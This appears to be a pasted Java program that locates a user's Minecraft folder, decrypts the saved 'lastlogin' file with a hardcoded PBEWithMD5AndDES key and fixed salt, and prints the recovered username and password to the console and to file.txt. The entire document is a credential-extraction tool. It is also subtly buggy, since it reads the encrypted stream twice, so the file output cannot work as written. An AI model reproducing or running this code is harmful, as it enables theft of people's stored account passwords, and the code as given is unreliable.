· 7 years ago · Apr 25, 2018, 05:00 AM
1import java.io.*;
2import java.util.Random;
3import javax.crypto.Cipher;
4import javax.crypto.CipherInputStream;
5import javax.crypto.SecretKey;
6import javax.crypto.SecretKeyFactory;
7import javax.crypto.spec.PBEKeySpec;
8import javax.crypto.spec.PBEParameterSpec;
9import java.util.*;
10import java.util.Properties;
11
12public class Main {
13
14 public static File getMinecraftDir() {
15 String os = System.getProperty("os.name", "").toLowerCase();
16 String home = System.getProperty("user.home", ".");
17
18 if (os.contains("win")) {
19 String appdata = System.getenv("APPDATA");
20 if (appdata != null) {
21 return new File(appdata, ".minecraft");
22 } else {
23 return new File(home, ".minecraft");
24 }
25 } else if (os.contains("mac")) {
26 return new File(home, "Library/Application Support/minecraft");
27 } else {
28 return new File(home, ".minecraft/");
29 }
30 }
31// Looks for the .minecraft folder..I think
32 public static void main(String[] args) {
33 try {
34 Random random = new Random(43287234L);
35 byte[] salt = new byte[8];
36 random.nextBytes(salt);
37 PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
38 SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
39 Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
40 cipher.init(2, pbeKey, pbeParamSpec);
41 File passFile = new File(getMinecraftDir(), "lastlogin");
42// Looks for the lass login
43 DataInputStream dis = null;
44 if (cipher != null) {
45 dis = new DataInputStream(new CipherInputStream(new FileInputStream(passFile), cipher));
46 } else {
47 dis = new DataInputStream(new FileInputStream(passFile));
48 }
49 FileWriter outFile = new FileWriter("file.txt");
50 PrintWriter out = new PrintWriter(outFile);
51
52 System.out.println("Username: " + dis.readUTF());
53 System.out.println("Password: " + dis.readUTF());
54 out.println("Username: " + dis.readUTF());
55 out.println("Password: " + dis.readUTF());
56 out.close();
57//This logs the lastlogin into a .txt file.
58 dis.close();
59 } catch (Exception ex) {
60 ex.printStackTrace();
61 }
62
63 }
64}